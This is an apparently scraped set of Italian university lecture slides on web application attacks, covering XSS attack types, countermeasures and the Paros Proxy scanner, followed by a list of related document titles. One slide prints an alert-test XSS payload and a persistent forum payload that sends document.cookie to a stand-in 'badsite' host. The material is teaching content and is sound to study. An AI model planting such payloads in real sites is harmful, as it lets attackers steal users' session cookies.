64 Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

65 Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

66 Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

67 Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

68 Cross-Site Scripting Attacchi XSS XSS: possibili attacchi Attacchi di cross-site scripting: Accesso ai cookie di sessione della vittima; Accesso alla cronologia con attacchi brute-force basati su proprietà contenute nel DOM; Accesso alla intranet: Tramite link ad-hoc l utente esegue uno script che ne cattura l IP interno; L attaccante può accedere da remoto tramite l IP, alla rete interna; Identifica i web server attivi nella intranet col test su IP dinamici nel range d indirizzi privati; Accede ad informazioni riservate o ai dispositivi di rete come firewall, router, etc. Simona Ullo (UniCT) Attacchi alle applicazioni web 18 / 25

69 Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

70 Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

71 Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

72 Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

73 Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

74 Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

75 Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

76 Cross-Site Scripting Tecniche di protezione da attacchi XSS XSS: Contromisure Per evitare attacchi XSS... Protezione lato server: input sanitizing e input blocking. Attenzione: molti server sono vulnerabili ad XSS! Protezione lato client: Il browser è fatto in modo da eseguire richieste: non sa distinguere un attacco! Scelta di un browser più sicuro ; Rendere sicuro il browser: plug-in anti-phishing, controllo script, protezione di cronologia e cache, etc. Rendere sicuro il browser: disabilitare caratteristiche pericolose (JavaScript, ActiveX, etc.) ed abilitarle all occorrenza. Per XSS non persistente: attenzione agli URL non fidati! Simona Ullo (UniCT) Attacchi alle applicazioni web 19 / 25

77 Cross-Site Scripting Esempi di attacchi XSS Qualche esempio di attacco XSS Test di vulnerabilità con messaggio di alert (XSS non persistente in un form di ricerca) <FORM action = \http://www.libreria.it/carrello.php "> <INPUT type = \text " name = \search " value = \"> <script> alert( XSS%20Test ) </script> <INPUT type = \submit " value = \Submit "> </FORM> Accesso ai cookies di sessione (XSS persistente in un forum) ><script language = \javascript "> document.location.href = \http://badsite/bad-script.php? value = " + document.cookie; </script> Simona Ullo (UniCT) Attacchi alle applicazioni web 20 / 25

78 Cross-Site Scripting Esempi di attacchi XSS Qualche esempio di attacco XSS Test di vulnerabilità con messaggio di alert (XSS non persistente in un form di ricerca) <FORM action = \http://www.libreria.it/carrello.php "> <INPUT type = \text " name = \search " value = \"> <script> alert( XSS%20Test ) </script> <INPUT type = \submit " value = \Submit "> </FORM> Accesso ai cookies di sessione (XSS persistente in un forum) ><script language = \javascript "> document.location.href = \http://badsite/bad-script.php? value = " + document.cookie; </script> Simona Ullo (UniCT) Attacchi alle applicazioni web 20 / 25

79 Paros Proxy Cos è Paros? Verifica delle vulnerabilità Paros Proxy Simona Ullo (UniCT) Attacchi alle applicazioni web 21 / 25

80 Paros Proxy Cos è Paros? Paros Proxy: un esempio di pen tester Paros Proxy è... Software freeware e opensource sviluppato in Java; Server proxy che può essere configurato per filtrare tutto il traffico HTTP/HTTPS in una comunicazione client/server; Utilizzato per l analisi della sicurezza nelle applicazioni web; Varie funzionalità tra cui vulnerability scanner per SQL injection e Cross-site scripting. Simona Ullo (UniCT) Attacchi alle applicazioni web 22 / 25

81 Paros Proxy Cos è Paros? Paros Proxy: un esempio di pen tester Paros Proxy è... Software freeware e opensource sviluppato in Java; Server proxy che può essere configurato per filtrare tutto il traffico HTTP/HTTPS in una comunicazione client/server; Utilizzato per l analisi della sicurezza nelle applicazioni web; Varie funzionalità tra cui vulnerability scanner per SQL injection e Cross-site scripting. Simona Ullo (UniCT) Attacchi alle applicazioni web 22 / 25

82 Paros Proxy Cos è Paros? Paros Proxy: un esempio di pen tester Paros Proxy è... Software freeware e opensource sviluppato in Java; Server proxy che può essere configurato per filtrare tutto il traffico HTTP/HTTPS in una comunicazione client/server; Utilizzato per l analisi della sicurezza nelle applicazioni web; Varie funzionalità tra cui vulnerability scanner per SQL injection e Cross-site scripting. Simona Ullo (UniCT) Attacchi alle applicazioni web 22 / 25

83 Paros Proxy Cos è Paros? Paros Proxy: un esempio di pen tester Paros Proxy è... Software freeware e opensource sviluppato in Java; Server proxy che può essere configurato per filtrare tutto il traffico HTTP/HTTPS in una comunicazione client/server; Utilizzato per l analisi della sicurezza nelle applicazioni web; Varie funzionalità tra cui vulnerability scanner per SQL injection e Cross-site scripting. Simona Ullo (UniCT) Attacchi alle applicazioni web 22 / 25

84 Paros Proxy Un esempio di scansione con Paros Scansione con Paros Per avviare una scansione bisogna: Configurare il browser per la connessione al proxy alla porta 8080 (traffico HTTP); Navigare le pagine del sito che devono essere analizzate; Settare le politiche di scansione (quali vulnerabilità testare); Avviare la scansione e visionare i risultati in formato HTML. Simona Ullo (UniCT) Attacchi alle applicazioni web 23 / 25

85 Paros Proxy Un esempio di scansione con Paros Scansione con Paros Per avviare una scansione bisogna: Configurare il browser per la connessione al proxy alla porta 8080 (traffico HTTP); Navigare le pagine del sito che devono essere analizzate; Settare le politiche di scansione (quali vulnerabilità testare); Avviare la scansione e visionare i risultati in formato HTML. Simona Ullo (UniCT) Attacchi alle applicazioni web 23 / 25

86 Paros Proxy Un esempio di scansione con Paros Scansione con Paros Per avviare una scansione bisogna: Configurare il browser per la connessione al proxy alla porta 8080 (traffico HTTP); Navigare le pagine del sito che devono essere analizzate; Settare le politiche di scansione (quali vulnerabilità testare); Avviare la scansione e visionare i risultati in formato HTML. Simona Ullo (UniCT) Attacchi alle applicazioni web 23 / 25

87 Paros Proxy Un esempio di scansione con Paros Scansione con Paros Per avviare una scansione bisogna: Configurare il browser per la connessione al proxy alla porta 8080 (traffico HTTP); Navigare le pagine del sito che devono essere analizzate; Settare le politiche di scansione (quali vulnerabilità testare); Avviare la scansione e visionare i risultati in formato HTML. Simona Ullo (UniCT) Attacchi alle applicazioni web 23 / 25

88 Paros Proxy Risultati della scansione Un esempio di scansione con Paros Esempio di report prodotto da Paros in seguito ad una scansione per vulnerabilità di SQL injection: Simona Ullo (UniCT) Attacchi alle applicazioni web 24 / 25

89 Paros Proxy Risultati della scansione Un esempio di scansione con Paros Esempio di report prodotto da Paros in seguito ad una scansione per vulnerabilità XSS: Simona Ullo (UniCT) Attacchi alle applicazioni web 25 / 25

UNIVERSITÀ DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica. Simona Ullo

UNIVERSITÀ DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica. Simona Ullo UNIVERSITÀ DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica Simona Ullo ATTACCHI ALLE APPLICAZIONI WEB: SQL INJECTION E CROSS SITE SCRIPTING (XSS) Tesina di Sicurezza

Dettagli

Navigazione automatica e rilevazione di errori in applicazioni web

Navigazione automatica e rilevazione di errori in applicazioni web Politecnico di Milano Navigazione automatica e rilevazione di errori in applicazioni web Relatore: Prof. Stefano Zanero Fabio Quarti F e d e r i c o V i l l a A.A. 2006/2007 Sommario Obiettivo: Illustrare

Dettagli

Sicurezza delle applicazioni web: attacchi web

Sicurezza delle applicazioni web: attacchi web Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Sicurezza delle applicazioni web: attacchi web Alessandro Reina Aristide Fattori

Dettagli

Sicurezza delle applicazioni web: attacchi web

Sicurezza delle applicazioni web: attacchi web Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2010/2011 Sicurezza delle applicazioni web: attacchi web Alessandro Reina, Aristide Fattori 12 Maggio

Dettagli

Laboratorio di reti II: Problematiche di sicurezza delle reti

Laboratorio di reti II: Problematiche di sicurezza delle reti Laboratorio di reti II: Problematiche di sicurezza delle reti Stefano Brocchi brocchi@dsi.unifi.it 30 maggio, 2008 Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, 2008 1 / 43 La sicurezza

Dettagli

Attacchi alle Applicazioni Web

Attacchi alle Applicazioni Web Attacchi alle Applicazioni Web http://www.infosec.it info@infosec.it Relatore: Matteo Falsetti Webbit03 Attacchi alle Applicazioni Web- Pagina 1 Applicazioni web: definizioni, scenari, rischi ICT Security

Dettagli

DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER

DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER L architettura CLIENT SERVER è l architettura standard dei sistemi di rete, dove i computer detti SERVER forniscono servizi, e computer detti CLIENT, richiedono

Dettagli

WHITE PAPER Per Sql-Injection si intendono comunemente tutti quegli attacchi ad un'applicazione, solitamente Web, in cui il programma esegue query su di un database SQL utilizzando variabili passate dall'utente

Dettagli

Attacchi Web. Davide Marrone

Attacchi Web. Davide Marrone <davide@security.dico.unimi.it> Davide Marrone davide@security.dico.unimi.it Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Dipartimento di Informatica e Comunicazione 22 gennaio 2007 Sommario Classificazione

Dettagli

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti Corso di Sicurezza Informatica Sicurezza del software Ing. Gianluca Caminiti SQL Injection Sommario Premessa sul funzionamento dei siti dinamici SQL Injection: Overview Scenari di attacco: Errata gestione

Dettagli

Indice register_globals escaping

Indice register_globals escaping 1 Indice La sicurezza delle applicazioni web Le vulnerabilità delle applicazioni web La sicurezza in PHP: La direttiva register_globals Filtrare l'input Filtrare l'output (escaping) SQL Injection Cross

Dettagli

McDonald's Wi-Fi Login System by BT Italia S.p.A. Multiple Vulnerabilities Report

McDonald's Wi-Fi Login System by BT Italia S.p.A. Multiple Vulnerabilities Report McDonald's Wi-Fi Login System by BT Italia S.p.A. Multiple Vulnerabilities Report Sommario Introduzione...3 Lista delle Vulnerabilità...3 Descrizione delle vulnerabilità...3 XSS...3 Captcha...4 Login...5

Dettagli

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo Come funziona il WWW Il funzionamento del World Wide Web non differisce molto da quello delle altre applicazioni Internet Anche in questo caso il sistema si basa su una interazione tra un computer client

Dettagli

TeamPortal. Servizi integrati con ambienti Gestionali

TeamPortal. Servizi integrati con ambienti Gestionali TeamPortal Servizi integrati con ambienti Gestionali 12/2013 Accesso da remoto Accesso da remoto Esempio 1 Sul Firewall devono essere aperte le porte 80 : http (o quella assegnata in fase di installazione/configurazione

Dettagli

19. LA PROGRAMMAZIONE LATO SERVER

19. LA PROGRAMMAZIONE LATO SERVER 19. LA PROGRAMMAZIONE LATO SERVER Introduciamo uno pseudocodice lato server che chiameremo Pserv che utilizzeremo come al solito per introdurre le problematiche da affrontare, indipendentemente dagli specifici

Dettagli

Elementi di Sicurezza e Privatezza Lezione 15 Web Security - Code Injection (1)

Elementi di Sicurezza e Privatezza Lezione 15 Web Security - Code Injection (1) Elementi di Sicurezza e Privatezza Lezione 15 Web Security - Code Injection (1) Chiara Braghin chiara.braghin@unimi.it Le 2 maggiori vulnerabilità dei siti Web SQL Injection Il browser spedisce dell input

Dettagli

Programmazione Web. Laboratorio 4: PHP e MySQL

Programmazione Web. Laboratorio 4: PHP e MySQL Programmazione Web Laboratorio 4: PHP e MySQL Lavagna elettronica (I) Un unità aziendale di decision making opera per le decisioni di tipo consueto e ripetitivo tramite la procedura seguente: un qualsiasi

Dettagli

Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database

Corso di Informatica. Prerequisiti. Modulo T3 B3 Programmazione lato server. Architettura client/server Conoscenze generali sui database Corso di Informatica Modulo T3 B3 Programmazione lato server 1 Prerequisiti Architettura client/server Conoscenze generali sui database 2 1 Introduzione Lo scopo di questa Unità è descrivere gli strumenti

Dettagli

SQL Injection The dark side of webapplication *** Siamo davvero certi che chi gestisce i nostri dati sensibili lo faccia in modo sicuro?

SQL Injection The dark side of webapplication *** Siamo davvero certi che chi gestisce i nostri dati sensibili lo faccia in modo sicuro? SQL Injection The dark side of webapplication *** Siamo davvero certi che chi gestisce i nostri dati sensibili lo faccia in modo sicuro? Che cos'e' SQL? Acronimo di 'Structured Query Language E' un linguaggio

Dettagli

Sicurezza delle applicazioni web: attacchi web

Sicurezza delle applicazioni web: attacchi web Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2012/2013 Sicurezza delle applicazioni web: attacchi web Srdjan Matic, Aristide Fattori 31 Maggio 2013

Dettagli

Corso di Web Programming

Corso di Web Programming Corso di Web Programming 11. PHP - Complementi Paolo Milazzo Dipartimento di Informatica, Università di Pisa http://www.di.unipi.it/ milazzo milazzo di.unipi.it Corso di Laurea in Informatica Applicata

Dettagli

Tecnologie e Programmazione Web

Tecnologie e Programmazione Web Presentazione 1 Tecnologie e Programmazione Web Html, JavaScript e PHP RgLUG Ragusa Linux Users Group SOftware LIbero RAgusa http://www.solira.org - Nunzio Brugaletta (ennebi) - Reti 2 Scopi di una rete

Dettagli

Sicurezza delle applicazioni web

Sicurezza delle applicazioni web Sicurezza delle applicazioni web (Programmazione sicura in ambiente web) Luca Carettoni l.carettoni@securenetwork.it 26 Novembre Linux Day 2005 2005 Secure Network S.r.l. Il peggiore dei mondi... Un server

Dettagli

Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting

Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting Pattern Recognition and Applications Lab Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting Dott. Ing. Igino Corona igino.corona (at) diee.unica.it Corso Sicurezza

Dettagli

Tecnologie per il Web. Il web: Architettura HTTP HTTP. SSL: Secure Socket Layer

Tecnologie per il Web. Il web: Architettura HTTP HTTP. SSL: Secure Socket Layer Tecnologie per il Web Il web: architettura e tecnologie principali Una analisi delle principali tecnologie per il web Tecnologie di base http, ssl, browser, server, firewall e proxy Tecnologie lato client

Dettagli

--- PREMESSE INTRODUZIONE. .:luxx:.

--- PREMESSE INTRODUZIONE. .:luxx:. SQL INJECTION --- SICUREZZA.:luxx:. PREMESSE Questa guida accenna ad alcuni metodi di SQL injection e si sofferma sulla prevenzione di tali attacchi, per comprendere al meglio il testo è necessaria una

Dettagli

Vulnerabilità informatiche (semplici)..

Vulnerabilità informatiche (semplici).. Vulnerabilità informatiche (semplici).. in infrastrutture complesse....il contenuto di questo speech è di pura fantasia, ogni riferimento a infrastrutture reali o fatti realmente accaduti è puramente casuale

Dettagli

$whois. Introduzione Attacco a una webapp Attacco a un sistema Conclusioni. http://voidsec.com voidsec@voidsec.com

$whois. Introduzione Attacco a una webapp Attacco a un sistema Conclusioni. http://voidsec.com voidsec@voidsec.com $whois Paolo Stagno Luca Poletti http://voidsec.com voidsec@voidsec.com Nell anno 2013: Aumento del 30% degli attacchi a siti e web application 14 zero-day 5,291 nuove vulnerabilità scoperte, 415 di queste

Dettagli

Ministero dell Istruzione dell Università e della Ricerca M070 ESAME DI STATO DI ISTITUTO TECNICO INDUSTRIALE

Ministero dell Istruzione dell Università e della Ricerca M070 ESAME DI STATO DI ISTITUTO TECNICO INDUSTRIALE Pag. 1/1 Sessione ordinaria 2010 Seconda prova scritta Ministero dell Istruzione dell Università e della Ricerca M070 ESAME DI STATO DI ISTITUTO TECNICO INDUSTRIALE CORSO DI ORDINAMENTO Indirizzo: INFORMATICA

Dettagli

Bibliografia: Utenti e sessioni

Bibliografia: Utenti e sessioni Bibliografia: Utenti e sessioni http: protocollo stateless http si appoggia su una connessione tcp e lo scambio nel contesto di una connessione si limita a invio della richiesta, ricezione della risposta.

Dettagli

RSA Sun Insurance Office Ltd

RSA Sun Insurance Office Ltd RSA Sun Insurance Office Ltd Web Application Security Assessment (http://rsage49:9080/sisweb) Hacking Team S.r.l. Via della Moscova, 13 20121 MILANO (MI) - Italy http://www.hackingteam.it info@hackingteam.it

Dettagli

FileMaker 12. Guida ODBC e JDBC

FileMaker 12. Guida ODBC e JDBC FileMaker 12 Guida ODBC e JDBC 2004 2012 FileMaker, Inc. Tutti i diritti riservati. FileMaker, Inc. 5201 Patrick Henry Drive Santa Clara, California 95054 FileMaker e Bento sono marchi di FileMaker, Inc.

Dettagli

Application Assessment Applicazione ARCO

Application Assessment Applicazione ARCO GESI Application Assessment Applicazione ARCO Milano Hacking Team S.r.l. http://www.hackingteam.it Via della Moscova, 13 info@hackingteam.it 20121 MILANO (MI) - Italy Tel. +39.02.29060603 Fax +39.02.63118946

Dettagli

Esercitazione 8. Basi di dati e web

Esercitazione 8. Basi di dati e web Esercitazione 8 Basi di dati e web Rev. 1 Basi di dati - prof. Silvio Salza - a.a. 2014-2015 E8-1 Basi di dati e web Una modalità tipica di accesso alle basi di dati è tramite interfacce web Esiste una

Dettagli

TeamPortal. Infrastruttura

TeamPortal. Infrastruttura TeamPortal Infrastruttura 05/2013 TeamPortal Infrastruttura Rubriche e Contatti Bacheca Procedure Gestionali Etc Framework TeamPortal Python SQL Wrapper Apache/SSL PostgreSQL Sistema Operativo TeamPortal

Dettagli

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin Elementi di Sicurezza e Privatezza Lezione 13 Web Security Chiara Braghin Cookie e Sicurezza HTTP e i cookie (1) Vi ricordate? I Web server in genere sono stateless: una serie di richieste dallo stesso

Dettagli

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin. Cookie e Sicurezza

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin. Cookie e Sicurezza Elementi di Sicurezza e Privatezza Lezione 13 Web Security Chiara Braghin Cookie e Sicurezza 1 HTTP e i cookie (1) Vi ricordate? I Web server in genere sono stateless: una serie di richieste dallo stesso

Dettagli

Esempi pratici, risultati e contromisure consigliate. Massimo Biagiotti

Esempi pratici, risultati e contromisure consigliate. Massimo Biagiotti L attività di un Ethical Hacker Esempi pratici, risultati e contromisure consigliate Massimo Biagiotti Information Technology > Chiunque operi nel settore sa che il panorama dell IT è in continua evoluzione

Dettagli

Manuale di riferimento di HP Web Jetadmin Database Connector Plug-in

Manuale di riferimento di HP Web Jetadmin Database Connector Plug-in Manuale di riferimento di HP Web Jetadmin Database Connector Plug-in Informazioni sul copyright 2004 Copyright Hewlett-Packard Development Company, L.P. Sono vietati la riproduzione, l'adattamento e la

Dettagli

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection ---------------------------------------------------------------------..... _/ / _ / / \ \/ / / / / \ / \ \ \ / /_/ \ /\ / \ \ \ / /_/ > Y \ \ \ >\_/ / > / \ / / \/ \/ \/ \/ / / \/ ---------------------------------------------------------------------

Dettagli

Siti interattivi e dinamici. in poche pagine

Siti interattivi e dinamici. in poche pagine Siti interattivi e dinamici in poche pagine 1 Siti Web interattivi Pagine Web codificate esclusivamente per mezzo dell HTML non permettono alcun tipo di interazione con l utente, se non quella rappresentata

Dettagli

- Oggi si sente sempre più spesso parlare di malware e virus. - Cosa sono? - Perché difendersi? - Cosa è lo spam?

- Oggi si sente sempre più spesso parlare di malware e virus. - Cosa sono? - Perché difendersi? - Cosa è lo spam? Perché questo corso - Oggi si sente sempre più spesso parlare di malware e virus. - Cosa sono? - Perché difendersi? - Cosa è lo spam? Cosa spiegheremo - protocolli e le tecnologie internet - quali sono

Dettagli

Architetture di sistema

Architetture di sistema Università di Bergamo Facoltà di Ingegneria Applicazioni Internet B Paolo Salvaneschi B1_1 V1.6 Architetture di sistema Il contenuto del documento è liberamente utilizzabile dagli studenti, per studio

Dettagli

Quesiti 6 e 7) - 9 - Creiamo il file query4.php su una piattaforma OPEN SOURCE usando in linguaggio PHP ospitato su un webserver APACHE per interrogare un database MYSQL. Tale file verrà attivato cliccando

Dettagli

Questo punto richiederebbe uno sviluppo molto articolato che però a mio avviso va al di là delle possibilità fornite al candidato dal tempo a disposizione. Mi limiterò quindi ad indicare dei criteri di

Dettagli

Cookie (1) - Componenti

Cookie (1) - Componenti Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection Chiara Braghin chiara.braghin@unimi.it! Cookie (1) - Componenti 4 componenti: 1) cookie nell header del messaggio HTTP response

Dettagli

Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection

Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection Chiara Braghin chiara.braghin@unimi.it! Cookie (1) - Componenti 4 componenti: 1) cookie nell header del messaggio HTTP response

Dettagli

Architetture di sistema

Architetture di sistema Università di Bergamo Facoltà di Ingegneria Applicazioni Internet B Paolo Salvaneschi B1_1 V1.7 Architetture di sistema Il contenuto del documento è liberamente utilizzabile dagli studenti, per studio

Dettagli

Indice generale. Parte I Anatomia del Web...21. Introduzione...xiii

Indice generale. Parte I Anatomia del Web...21. Introduzione...xiii Indice generale Introduzione...xiii Capitolo 1 La sicurezza nel mondo delle applicazioni web...1 La sicurezza delle informazioni in sintesi... 1 Primi approcci con le soluzioni formali... 2 Introduzione

Dettagli

PHP e Structured Query Language

PHP e Structured Query Language Esercitazioni del corso di Tecnologie per la Comunicazione Aziendale PHP e Structured Query Language Marco Loregian loregian@disco.unimib.it www.siti.disco.unimib.it/didattica/tca2008 Interrogazioni (ripasso)

Dettagli

Istituto Tecnico Industriale Statale Dionigi Scano Cagliari. Candidato: Medda Daniele Classe 5ª C Informatica Anno scolastico 2013/2014.

Istituto Tecnico Industriale Statale Dionigi Scano Cagliari. Candidato: Medda Daniele Classe 5ª C Informatica Anno scolastico 2013/2014. Istituto Tecnico Industriale Statale Dionigi Scano Cagliari Candidato: Medda Daniele Classe 5ª C Informatica Anno scolastico 2013/2014 relate Un esperimento di social networking open source 1 Introduzione

Dettagli

Legenda: Vengono riportate qui brevi descrizioni di alcuni dei più noti e comuni tipi di vulnerabilità,in base al loro grado di pericolosità.

Legenda: Vengono riportate qui brevi descrizioni di alcuni dei più noti e comuni tipi di vulnerabilità,in base al loro grado di pericolosità. Legenda: Vengono riportate qui brevi descrizioni di alcuni dei più noti e comuni tipi di vulnerabilità,in base al loro grado di pericolosità. Livello di Pericolosità 3: Login Cracking: Il cracking è il

Dettagli

Web Programming Specifiche dei progetti

Web Programming Specifiche dei progetti Web Programming Specifiche dei progetti Paolo Milazzo Anno Accademico 2010/2011 Argomenti trattati nel corso Nel corso di Web Programming sono state descritti i seguenti linguaggi (e tecnologie): HTML

Dettagli

Attacchi - panoramica

Attacchi - panoramica Attacchi - panoramica Metodi e strumenti per la Sicurezza informatica Claudio Telmon claudio@telmon.org Tecniche di attacco Più passaggi prima del destinatario (stepstones) Accesso da sistemi poco controllati

Dettagli

Scritto mercoledì 1 agosto 2012 13:52 sul sito informaticamente.pointblog.it

Scritto mercoledì 1 agosto 2012 13:52 sul sito informaticamente.pointblog.it Vulnerabilità dei CMS Joomla, Wordpress, ecc. Articoli tratti dal sito html.it e informaticamente.pointblog.it -------------------------------------------------------------------------------------------------------------

Dettagli

Application Assessment Applicazione ARCO

Application Assessment Applicazione ARCO GESI Application Assessment Applicazione ARCO Versione 2 Milano 14 Luglio 2006 Hacking Team S.r.l. http://www.hackingteam.it Via della Moscova, 13 info@hackingteam.it 20121 MILANO (MI) - Italy Tel. +39.02.29060603

Dettagli

PIANO DI LAVORO EFFETTIVAMENTE SVOLTO IN RELAZIONE ALLA PROGRAMMAZIONE DISCIPLINARE

